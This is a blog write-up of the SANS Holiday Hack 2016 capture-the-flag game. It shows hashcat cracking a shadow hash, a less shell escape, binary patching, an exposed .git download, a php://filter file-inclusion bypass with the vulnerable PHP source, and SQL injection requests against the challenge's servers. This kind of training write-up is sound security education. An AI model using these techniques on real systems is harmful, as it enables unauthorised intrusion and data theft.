During my holiday I tackled the SANS HolidayHack challenge 2016. It was a lot of fun and a useful way of keeping my skills up to date. The goal of the challenge was to answer some questions and play a little game with a lot of quests made up of computer science challenges.
I will publish just a condensed section of my write up; if you want the full version, you can find it on my GitHub account.
Part 1, Twitter and Instagram Account
The challenge began with a small business card left by someone:
Connecting to the Twitter account led to a series of small posts with repeating patterns and different special characters:
It was clear something is hidden in those tweets – it needs scrapping in order to play with the datas. I found a python script called tweet_dumper.py made by yanofsky to scrap all tweets from an account and create a csv file:
#!/usr/bin/env python2 # encoding: utf-8 import tweepy #https://github.com/tweepy/tweepy import csv #Twitter API credentials consumer_key = "" consumer_secret = "" access_key = "" access_secret = "" def get_all_tweets(screen_name): #Twitter only allows access to a users most recent 3240 tweets with this method #authorize twitter, initialize tweepy auth = tweepy.OAuthHandler(consumer_key, consumer_secret) auth.set_access_token(access_key, access_secret) api = tweepy.API(auth) #initialize a list to hold all the tweepy Tweets alltweets = [] #make initial request for most recent tweets (200 is the maximum allowed count) new_tweets = api.user_timeline(screen_name = screen_name,count=200) #save most recent tweets alltweets.extend(new_tweets) #save the id of the oldest tweet less one oldest = alltweets[-1].id - 1 #keep grabbing tweets until there are no tweets left to grab while len(new_tweets) > 0: print "getting tweets before %s" % (oldest) #all subsiquent requests use the max_id param to prevent duplicates new_tweets = api.user_timeline(screen_name = screen_name,count=200,max_id=oldest) #save most recent tweets alltweets.extend(new_tweets) #update the id of the oldest tweet less one oldest = alltweets[-1].id - 1 print "...%s tweets downloaded so far" % (len(alltweets)) #transform the tweepy tweets into a 2D array that will populate the csv outtweets = [[tweet.id_str, tweet.created_at, tweet.text.encode("utf-8")] for tweet in alltweets] #write the csv with open('%s_tweets.csv' % screen_name, 'wb') as f: writer = csv.writer(f) writer.writerow(["id","created_at","text"]) writer.writerows(outtweets) pass if __name__ == '__main__': #pass in the username of the account you want to download get_all_tweets("santawclaus")
After running the script, I used cat on the file to show what was inside:
It looked like the hidden message was “Bug Boungy” written in ASCII art. The next challenge was to find what was inside the ZIP file distributed by Santa’s team.
Looking at the Instagram account, I found an interesting picture, which shows a messy desk of one of the Santa’s elves called Hermey. On the left of the picture, a laptop was open with a powershell shell with .\~DestinationPath SantaGram_v4.2.zip:
On the right of the picture, there is an printed output of the scanning tool called nmap. I found a domain name: northpolewonderland.com. I tried to download the zip file using previous information:
-> $ wget http://northpolewonderland.com/SantaGram_v4.2.zip --2017-01-01 14:54:41-- http://northpolewonderland.com/SantaGram_v4.2.zip Resolving northpolewonderland.com (northpolewonderland.com)... 130.211.124.143 Connecting to northpolewonderland.com (northpolewonderland.com)|130.211.124.143|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1963026 (1.9M) [application/zip] Saving to: ‘SantaGram_v4.2.zip’ SantaGram_v4.2.zip 100%[============>] 1.87M 543KB/s in 3.5s 2017-01-01 14:54:45 (543 KB/s) - ‘SantaGram_v4.2.zip’ saved [1963026/1963026]
And i found the ZIP file, which was protected by a password. The password was Bug Bounty.
The ZIP file contains an Android Application Package (APK).
Part 2, The SantaGram APK
In this part, the goal was to find credentials contained in the Android application. I started extracting the APK with a tool called apktool:
([email protected]) [~/works/challz/sans_santa/apk] [15:18:39] [git:master ✘] -> $ apktool d SantaGram_4.2.apk I: Using Apktool 2.2.1 on SantaGram_4.2.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: /home/dummys/.local/share/apktool/framework/1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files... ([email protected]) [~/works/challz/sans_santa/apk] [15:19:02] [git:master ✘] -> $ ls SantaGram_4.2 AndroidManifest.xml apktool.yml assets original res smali
Several folders were extracted, smali contained the smali byte code and res contained the resources of the APK.
In the res folder, there were several folders as well, the one that was interesting for the analysis was: values. This folder contained several files, one called strings.xml which contained all the strings used in the APK.
Using cat on the file, didn’t show the username/password, but some interesting string that could be used perhaps later in the quest:
<string name="abc_action_bar_home_description">Navigate home</string> <string name="abc_action_bar_home_description_format">%1$s, %2$s</string> <string name="abc_action_bar_home_subtitle_description_format">%1$s, %2$s, %3$s</string> <string name="abc_action_bar_up_description">Navigate up</string> <string name="abc_action_menu_overflow_description">More options</string> <string name="abc_action_mode_done">Done</string> <string name="abc_activity_chooser_view_see_all">See all</string> <string name="abc_activitychooserview_choose_application">Choose an app </string> <string name="abc_capital_off">OFF</string> <string name="abc_capital_on">ON</string> <string name="abc_search_hint">Search…</string> <string name="abc_searchview_description_clear">Clear query</string> <string name="abc_searchview_description_query">Search query</string> <string name="abc_searchview_description_search">Search</string> <string name="abc_searchview_description_submit">Submit query</string> <string name="abc_searchview_description_voice">Voice search</string> <string name="abc_shareactionprovider_share_with">Share with</string> <string name="abc_shareactionprovider_share_with_application">Share with %s</string> <string name="abc_toolbar_collapse_description">Collapse</string> <string name="status_bar_notification_info_overflow">999+</string> <string name="TAG">SantaGram</string> <string name="analytics_launch_url"> https://analytics.northpolewonderland.com/report.php?type=launch</string> <string name="analytics_usage_url"> https://analytics.northpolewonderland.com/report.php?type=usage</string> <string name="appVersion">4.2</string> <string name="app_name">SantaGram</string> <string name="appbar_scrolling_view_behavior"> android.support.design.widget.AppBarLayout$ScrollingViewBehavior</string> <string name="banner_ad_url"> http://ads.northpolewonderland.com/affiliate/ C9E380C8-2244-41E3-93A3-D6C6700156A5</string> <string name="bottom_sheet_behavior"> android.support.design.widget.BottomSheetBehavior</string> <string name="character_counter_pattern">%1$d / %2$d</string> <string name="debug_data_collection_url"> http://dev.northpolewonderland.com/index.php</string> <string name="debug_data_enabled">false</string> <string name="dungeon_url">http://dungeon.northpolewonderland.com/</string> <string name="exhandler_url"> http://ex.northpolewonderland.com/exception.php</string> <string name="title_activity_comments">Comments</string> </resources>
Digging deeper in the code with the tools called JEB1, I found this interesting piece of code under com.northpolewonderland.santagram.b:
I found the credentials needed for the quest. The latest question in this part was to find an audio file within the APK. Video and audio file are usually located in the res/raw folder:
([email protected]) [~/works/challz/sans_santa/apk/SantaGram_4.2/res/raw] [15:51:21] [git:master ✘] -> $ file discombobulatedaudio1.mp3 discombobulatedaudio1.mp3: Audio file with ID3 version 2.3.0, contains: MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo
Part 3, The Cranberry PI
The third part became interesting. I had to search for all the pieces of a Cranberry Pi (which is a funny joke about the little computer called “Raspberry PI”). When finished collecting the pieces in the game, I was able to access terminals which showed a small challenge to open locked doors. One of the questions in this part was to find the password of the cranpi account in the image of the Operating System:
([email protected]) [~/works/challz/sans_santa/image] [23:28:20] [git:master ✘] -> $ file cranbian-jessie.img cranbian-jessie.img: DOS/MBR boot sector; partition 1 : ID=0xc, start-CHS (0x0,130,3), end-CHS (0x8,138)
The image is a bootable image. Using fdisk command to find the offset of the image to mount:
-> $ fdisk -l cranbian-jessie.img Disk cranbian-jessie.img: 1.3 GiB, 1389363200 bytes, 2713600 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x5a7089a1 Device Boot Start End Sectors Size Id Type cranbian-jessie.img1 8192 137215 129024 63M c W95 FAT32 (LBA) cranbian-jessie.img2 137216 2713599 2576384 1.2G 83 Linux
With the offset information 137216 and the size of a sector which is 512, mounting the image was easy, a simple computation was needed:
sector size * offset – 512 *137216 = 70254592, then using the mount command to mount the image with the offset:
-> $ cat listings/mount ([email protected]) [~/works/challz/sans_santa/image] [23:37:07] [git:master ✘] -> $ sudo mount -o offset=70254592 cranbian-jessie.img mnt/ ([email protected]) [~/works/challz/sans_santa/image] [23:38:07] [git:master ✘] -> $ cd mnt ([email protected]) [~/works/challz/sans_santa/image/mnt] [23:38:09] -> $ ls bin boot dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var
The username/password on a unix system is stored hashed in the /etc/shadow file.
The hashing algorithm was sha5122crypt which is common on unix systems.
The hash can be bruteforced using the Hashcat tools suite}:
[email protected]:~/cracking/working/sans$ hashcat -w3 -a0 -m1800 ./pw.txt ../../../wordlist_rules/wl_tested/big/rockyou.txt hashcat (master) starting... OpenCL Platform #1: NVIDIA Corporation ====================================== - Device #1: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU - Device #2: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU - Device #3: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU - Device #4: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU - Device #5: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU - Device #6: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU - Device #7: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU - Device #8: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU Hashes: 1 hashes; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable Optimizers: * Zero-Byte * Single-Hash * Single-Salt * Uses-64-Bit Watchdog: Temperature abort trigger set to 90c Watchdog: Temperature retain trigger set to 65c - Device #1: Kernel m01800.10aa386a.kernel not found in cache! Building may take a while... - Device #1: Kernel amp_a0.10aa386a.kernel not found in cache! Building may take a while... Generated dictionary stats for ../../../wordlist_rules/wl_tested/big/rockyou.txt: 139921497 bytes, 14344391 words, 14343296 keyspace $6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEhahBINm/ 2YyjFihxg7tgc343b0:yummycookies Session.Name...: hashcat Status.........: Cracked Input.Mode.....: File (../../../wordlist_rules/wl_tested/big/rockyou.txt) Hash.Target....: $6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DU... Hash.Type......: sha512crypt, SHA512(Unix) Time.Started...: Thu Dec 15 16:44:37 2016 (1 sec) Speed.Dev.#1...: 123.4 kH/s (88.37ms) Speed.Dev.#2...: 128.0 kH/s (92.12ms) Speed.Dev.#3...: 125.8 kH/s (87.03ms) Speed.Dev.#4...: 130.9 kH/s (88.71ms) Speed.Dev.#5...: 125.5 kH/s (87.28ms) Speed.Dev.#6...: 125.5 kH/s (87.63ms) Speed.Dev.#7...: 128.6 kH/s (92.22ms) Speed.Dev.#8...: 122.0 kH/s (89.59ms) Speed.Dev.#*...: 1009.8 kH/s Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.......: 691886/14343296 (4.82%) Rejected.......: 686/691886 (0.10%) Restore.Point..: 0/14343296 (0.00%) Started: Thu Dec 15 16:44:37 2016 Stopped: Thu Dec 15 16:45:45 2016 [email protected]:~/cracking/working/sans$
It’s interesting to note that the bruteforce took 1 minute and 8 seconds using the rockyou wordlist, pretty amazing 8x Nvidia GTX 1080 isn’t it :)
The password for the cranpi account was yummycookies.
The PCAP file
Upon connecting to the terminal, it said The passphrase is located in the out.pcap file. A PCAP is a capture of network traffic. After playing a bit with the terminal, I use the command sudo -l to see if some special entries has been added in the sudoers file:
Looking at the response, it’s clear that user itchy can use tcpdump and strings command. Tcpdump is an utility to capture network traffic and read pcap file, strings is used to find strings in file.
Using strings command on the pcap file led an useful information:
The first part of the passphrase was santasli. For the second part of the passphrase, I started to look at the documentation of tcpdump. With the -r option, tcpdump was able to use a pcap file as input. The idea was to read the pcap, write it to a file and then parse it. Playing a bit with the strings option, I found that using the encoding little endian led to the second part of the passphrase: ttlehelper:
Find the deepest directory
Connecting to the terminal, it said the passphrase was deep in the directories.
After looking around I found a hidden folder called .doormat. In this folder, they are several folders, one was a dot. I used find command and a little trick to look for the deepest file:
Wumpus Game, Play or Cheat
This terminal challenge was made of labyrinth puzzle game. The terminal said to play fair or to cheat. As I’m a lazy player, I preferred to cheat. The problem is that during the game, no external access was possible to the terminal console, only copy/paste was possible. I dumped the binary using cat and base64 > file.txt, then I copy-pasted the base64 encoded binary and decoded it on my computer. I opened the binary in IDA Pro and started looking at the interesting strings:
A string \nPassphrase caught my interest. Using cross reference I found that this string was referenced in the function called kill_wump:
Looking at the control flow graph of this function led interesting findings, first a string is written to the player, a buffer is allocated and a string is generated using different string present in the binary, then the string \nPassphrase is written and the previously generated string is also displayed to the player:
The goal is to reach this function in order to print the passphrase. There are two ways of getting there: first play the game, second use some binary patching to force the game, calling this function at the beginning. I chose the second option. The original main function looks like this:
The first function called is _getgid. I showed the opcode byte for clarity. Replacing bytes E8 E8 FD FF FF with E8 33 0C 00 00 which slightly modifies the call instruction to point to kill_wump functions:
Here is the output of the patched binary:
The train terminal challenge
Upon connecting to the terminal, a train management console was shown. They were not a lot of commands available on the console. When trying to start the train using START, a password was requested. When I started looking at all the command, the HELP command looked promising. This command uses the less unix command to display the help file. Using H as parameter shows the help. After digging in the documentation of less, I found an escape shell using the ! character, which dropped me to a shell. Then, using ls, I found a ActivateTrain binary.
After launching this binary, the console showed me a time travel sequence that led to a full bypass of the START function.
Part 4, Hacking the Santa’s Infrastructure
In the part 4 of the quest, the goal was to hack some servers provided in the Android application in order to retrieve part of an audio file.
The Dungeon Game
Using nmap on dungeon.northpolewonderland.com, I found that the port 11111 was open:
-> $ sudo nmap -sC dungeon.northpolewonderland.com Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-02 02:52 CET Nmap scan report for dungeon.northpolewonderland.com (35.184.47.139) Host is up (0.29s latency). rDNS record for 35.184.47.139: 139.47.184.35.bc.googleusercontent.com Not shown: 996 closed ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 1024 f8:b0:ed:cf:4b:00:4f:e0:bc:9e:ed:51:6c:7d:1d:eb (DSA) | 2048 ce:b9:39:5d:df:06:dc:6c:a6:46:39:7e:ad:b2:3e:58 (RSA) |_ 256 2d:60:1a:a9:8a:df:6e:d8:09:6a:c3:d5:3a:c3:76:74 (ECDSA) 80/tcp open http |_http-title: About Dungeon 11111/tcp open vce Nmap done: 1 IP address (1 host up) scanned in 42.97 seconds
Connecting to this port led to the dungeon game.
During the quest, an elves called Pepper Minstix gave me an old archive of the online game.
After reversing the binary, a python script was written to decipher the database file:
#!/usr/bin/env python2 key = "IanLanceTaylorJr" with open("dtextc.dat", "rb") as src: data = src.read() conf = "" for i in range(950000): try: t1 = key[i%len(key)] t2 = data[0x97+i] t3 = 0x30+i & 0xff r = ord(t1)^ord(t2) r = r^t3 conf += chr(r) except: break print conf
After extracting the configuration a string|grep command was used to search for interesting strings:
-> $ strings config_decoded.txt | grep -i -E "santa|elve" lorJrBy some miracle of elven technology, you have managed to for the royal family. All of the shelves appear to have been gnawed account of its history is in "The Lives of the Twelve Flatheads" with the Twelve Flatheads", "The Wisdom of the Implementers", and hear or see. In the distance you detect the busy sounds of Santa's elves In the distance you detect the busy sounds of Santa's elves in full In Dungeon, the intrepid explorer delves into the forgotten secrets anceOnly Santa Claus climbs down chimneys.
It seems that a secret part has been added to the game. I remembered that an elve called Alabaster Snowball spoke about cheating in the dungeon game. I googled dungeon and found that the real name of the game was Zork.
Looking in Wikipedia I found that a Game Debugging Technique (GDT) exists, which is a real debugger of the game. Googling Zork GDT led to an interesting page which shows every command available in the GDT console. I tried to dump every text using the DT command starting from the end; the ID 1024 turned out to be the good one:
gdt GDT>dt Entry: 1024 The elf, satisified with the trade says - send email to "[email protected]" for that which you seek. GDT>
The Debug Server
Looking at the APK, the author found an interesting snippet of code located in com.northpolewonderland.santagram.EditProfile:
This code checks if a strings resource with id 2131165214 is equals to true. My technique to find which strings had this id involved converting the id to hexadecimal and then grepping with -r option on the whole apk’s folder. Hexadecimal of 2131165214 was 0x7f07001e:
-> $ grep -r 0x7f07001e 1 ↵ SantaGram_4.2/res/values/public.xml: <public type="string" name="debug_data_enabled" id="0x7f07001e" /> SantaGram_4.2/smali/com/northpolewonderland/santagram/EditProfile.smali: const v0, 0x7f07001e
I changed this value in strings.xml from false to true, repacked the apk with apktool b command, and finally signed again the application with signapk.jar.
Installing the application on an android phone, using BurpSuite as a proxy and playing with it led to interesting findings:
POST /index.php HTTP/1.1 Content-Type: application/json User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-G900F Build/MOB30D) Host: dev.northpolewonderland.com Connection: close Accept-Encoding: gzip Content-Length: 145 {"date":"20161225141112+0100","udid":"ca41e227ceb25dcd", "debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":171878976}
And his answer:
HTTP/1.1 200 OK Server: nginx/1.6.2 Date: Sun, 25 Dec 2016 13:11:13 GMT Content-Type: application/json Connection: close Content-Length: 251 {"date":"20161225131113","status":"OK","filename":"debug-20161225131113-0.txt", "request":{"date":"20161225141112+0100","udid":"ca41e227ceb25dcd", "debug":"com.northpolewonderland.santagram.EditProfile, EditProfile", "freemem":171878976,"verbose":false}}
I tried to use “verbose”:true and the response gave the mp3 file:
HTTP/1.1 200 OK Server: nginx/1.6.2 Date: Sun, 25 Dec 2016 13:14:35 GMT Content-Type: application/json Connection: close Content-Length: 495 {"date":"20161225131435","date.len":14,"status":"OK","status.len":"2", "filename":"debug-20161225131435-0.txt","filename.len":26, "request":{"date":"20161225141112+0100","udid":"ca41e227ceb25dcd", "debug":"com.northpolewonderland.santagram.EditProfile, EditProfile", "freemem":171878976,"verbose":true},"files":["debug-20161224235959-0.mp3", "debug-20161225124144-0.txt","debug-20161225124356-0.txt", "debug-20161225131113-0.txt","debug-20161225131418-0.txt",
The Banner Ads Server
Connecting to the url: http://ads.northpolewonderland.com and showing the source of the page, I found that this website uses meteor, a Javascript framework to develop complex application. To help pentesting such application, I used the tool called TamperMonkey with the script MeteorMiner made by nidem. This script was useful in testing for bugs in the application:
On the right, the script is carving for us interesting collections, subscriptions and routes available.
After playing a bit with the console, I found that subscribing to admin roles was possible using Meteor.subscribe(‘users’, {roles: [‘admin’]});:
Then navigating to /admin/quotes and using HomeQuotes.find().fetch():
Clicking on more gave the mp3 file.
The Uncaught Exception Handler Server
Looking in the apk, an interesting snippet of code was found:
This code creates a post request to exception server. After playing a bit with the json, the I found that a ReadCrashDump operation also exists. When using this command, the server includes the crashdump file. This is a known vulnerability called locale file inclusion (LFI). With this vulnerability, any files on the server can be read.
There was a little problem, the script was adding .php at the end of the file name, thus I was not able to read what I want on the server:
HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Mon, 02 Jan 2017 02:56:02 GMT Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 66 Fatal error! crashdump value duplicate '.php' extension detected.
There is a trick using php://filter to bypass such problems:
Decoding the file with base64 led to the mp3 file:
<?php # Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3 # Code from http://thisinterestsme.com/receiving-json-post-data-via-php/ # Make sure that it is a POST request. if(strcasecmp($_SERVER['REQUEST_METHOD'], 'POST') != 0){ die("Request method must be POST\n"); } # Make sure that the content type of the POST request has been set to application/json $contentType = isset($_SERVER["CONTENT_TYPE"]) ? trim($_SERVER["CONTENT_TYPE"]) : ''; if(strcasecmp($contentType, 'application/json') != 0){ die("Content type must be: application/json\n"); } # Grab the raw POST. Necessary for JSON in particular. $content = file_get_contents("php://input"); $obj = json_decode($content, true); # If json_decode failed, the JSON is invalid. if(!is_array($obj)){ die("POST contains invalid JSON!\n"); } # Process the JSON. if ( ! isset( $obj['operation']) or ( $obj['operation'] !== "WriteCrashDump" and $obj['operation'] !== "ReadCrashDump")) { die("Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump.\n"); } if ( isset($obj['data'])) { if ($obj['operation'] === "WriteCrashDump") { # Write a new crash dump to disk processCrashDump($obj['data']); } elseif ($obj['operation'] === "ReadCrashDump") { # Read a crash dump back from disk readCrashdump($obj['data']); } } else { # data key unset die("Fatal error! JSON key 'data' must be set.\n"); } function processCrashdump($crashdump) { $basepath = "/var/www/html/docs/"; $outputfilename = tempnam($basepath, "crashdump-"); unlink($outputfilename); $outputfilename = $outputfilename . ".php"; $basename = basename($outputfilename); $crashdump_encoded = "<?php print('" . json_encode($crashdump, JSON_PRETTY_PRINT) . "');"; file_put_contents($outputfilename, $crashdump_encoded); print <<<END { "success" : true, "folder" : "docs", "crashdump" : "$basename" } END; } function readCrashdump($requestedCrashdump) { $basepath = "/var/www/html/docs/"; chdir($basepath); if ( ! isset($requestedCrashdump['crashdump'])) { die("Fatal error! JSON key 'crashdump' must be set.\n"); } if ( substr(strrchr($requestedCrashdump['crashdump'], "."), 1) === "php" ) { die("Fatal error! crashdump value duplicate '.php' extension detected.\n"); } else { require($requestedCrashdump['crashdump'] . '.php'); } } ?>
The Mobile Analytics Sever (post authentication)
This was the most challenging of the quest. The server was used to store analytics data on android phones.
First I started to scan the server with nmap using -sC parameter which is a cool features of nmap because it searches for a common folder when http is found:
-> $ sudo nmap -sC analytics.northpolewonderland.com 1 ↵ Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-02 04:09 CET Nmap scan report for analytics.northpolewonderland.com (104.198.252.157) Host is up (0.18s latency). rDNS record for 104.198.252.157: 157.252.198.104.bc.googleusercontent.com Not shown: 997 filtered ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 1024 5d:5c:37:9c:67:c2:40:94:b0:0c:80:63:d4:ea:80:ae (DSA) | 2048 f2:25:e1:9f:ff:fd:e3:6e:94:c6:76:fb:71:01:e3:eb (RSA) |_ 256 4c:04:e4:25:7f:a1:0b:8c:12:3c:58:32:0f:dc:51:bd (ECDSA) 443/tcp open https | http-git: | 104.198.252.157:443/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: Finishing touches (style, css, etc) | http-title: Sprusage Usage Reporter! |_Requested resource was login.php | ssl-cert: Subject: commonName=analytics.northpolewonderland.com | Subject Alternative Name: DNS:analytics.northpolewonderland.com | Not valid before: 2016-12-07T17:35:00 |_Not valid after: 2017-03-07T17:35:00 |_ssl-date: TLS randomness does not represent time | tls-nextprotoneg: |_ http/1.1 Nmap done: 1 IP address (1 host up) scanned in 28.58 seconds
Nmap found a Git repository. I downloaded this repo using wget command: wget -r –no-parent –reject “index.html*” https://analytics.northpolewonderland.com/.git
Using gitk a gui to browse Git repository I found some interesting piece of informations. First a commit shows admin credentials:
The user can query the database and save the query for future use. In the page query.php the input is sanitized using the mysqli_real_escape_string function, which protects against sql injection.
After struggling a while searching for vulnerabilities in the code, I found this interesting piece of code in the page edit.php which is only accessible if you are logged as administrator:
The foreach highlighted does not use the mysqli_real_escape_string thus I could inject my own query after saving a normal query to the database, using the Save Query option:
The server generated an id:
With this ID, I could now modify my query with a malicious query. I listed the table called audio with the query select * from audio:
GET /edit.php?id=3a3a1288-a6be-4da9-b070-e611315059d9&name=test&description =test&query=select * from audio HTTP/1.1 Host: analytics.northpolewonderland.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://analytics.northpolewonderland.com/edit.php Cookie: AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4 384f6e7bca04d86e573b965cc9a6549b249496363a00063b71976884152 Connection: close Upgrade-Insecure-Requests: 1
And the result:
My query was executed and I got the name of the audio file, finding another called mp3 which looked interesting. I dumped its content encoding to base64 with the query SELECT TO_BASE64(mp3) FROM audio WHERE id
= “3746d987-b8b1-11e6-89e1-42010af00008” :
GET /edit.php?id==3a3a1288-a6be-4da9-b070-e611315059d9&name=test&description= test&query=SELECT TO_BASE64(mp3) FROM audio WHERE id = "3746d987-b8b1-11e6-89e1-42010af00008" HTTP/1.1 Host: analytics.northpolewonderland.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://analytics.northpolewonderland.com/edit.php Cookie: AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a 4384f6e7bca04d86e573b965cc9a6549b249496363a00063b71976884152 Connection: close Upgrade-Insecure-Requests: 1
Copying and decoding this base64 encoded string to my computer led to the audio file.
Challenge solved! I would like to thank again the creators of SANS Holiday Hack. See you at the 2017 challenge!